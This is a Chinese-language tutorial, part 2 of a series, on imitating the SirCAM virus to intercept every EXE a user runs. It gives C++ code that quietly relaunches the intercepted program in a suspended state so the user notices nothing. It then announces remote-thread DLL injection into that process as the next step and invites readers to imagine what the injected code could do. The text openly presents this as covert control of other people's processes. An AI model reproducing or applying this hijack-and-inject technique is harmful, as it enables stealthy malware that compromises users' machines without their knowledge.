仿照SirCAM病毒控制EXE进程(2)
Chapter
2
利用得到的EXE启动参数创建进程
既然传进来的”%1” %*实际上是用户启动的EXE文件的路径 + 执行参数,那么我们得到后,就依样画葫芦,真的创建这个进程,让用户感觉不出来实际上是先到我们这里绕了一圈。
代码如下:
//========================== 3 ==============================
//
// 执行用户要的代码:
//
DWORD dwInProcessId = 0;
dwInProcessId = GetCurrentProcessId(); // 默认赋为自己的进程的ID值
int nLengthOfCmd = lstrlen(lpCmdLine);
if( nLengthOfCmd > 0 )
{
//======================= 3.1 =======================
//
// 来执行用户的命令行:
//
STARTUPINFO sIfo;
PROCESS_INFORMATION pInfo;
ZeroMemory( &sIfo, sizeof(sIfo) );
sIfo.cb = sizeof(sIfo);
ZeroMemory( &pInfo, sizeof(pInfo) );
// Start the child process.
HRESULT hResultEx = S_OK;
// CreateProcess之时返回一个BOOL值,如果非0,说明成功,
// 如果是0,表明失败,用GetLastError查看失败原因:
hResultEx =
CreateProcess( NULL, // No module name (use command line).
_bstr_t(lpCmdLine), // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED,
// creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&sIfo, // Pointer to STARTUPINFO structure.
&pInfo ); // Pointer to PROCESS_INFORMATION structure.
// 检查CreateProcess的返回值:
if( hResultEx != 0 )// Success
{
dwInProcessId = pInfo.dwProcessId; // 既然新进程创建成功,保存它的ProcessId
}
else // Failed
{
//----------------------------------
//
// 看错误信息:
//
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(), // 找到我们的错误
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
);
LogEventEx(EVENTLOG_INFORMATION_TYPE, (LPCTSTR)lpMsgBuf);
// Free the buffer.
LocalFree( lpMsgBuf );
//
//----------------------------------
}
//
//======================= 3.1 ==============================
}
else
{
// 如果本程序没有输入参数,就把InjectProcess.dll嵌入到自己进程中
// 这时dwInProcessId就是自己主进程的ID
}
怎么样,用户是不是什么也不知道,他双击运行的、从命令行运行的EXE命令都一如往昔。
但是这样就算完了吗?
既然进程尽在我们的掌握之中,那么有什么我们做不到的呢?!
接下来,我们将用远程线程插入DLL的方法来把我们的DLL注入到用户的进程的空间中,我们的DllMain将首先被执行。这个DllMain中可以写些什么呢,你发挥一下想象力吧!请看下回分解。
-----To be continued------
本文地址:http://com.8s8s.com/it/it3178.htm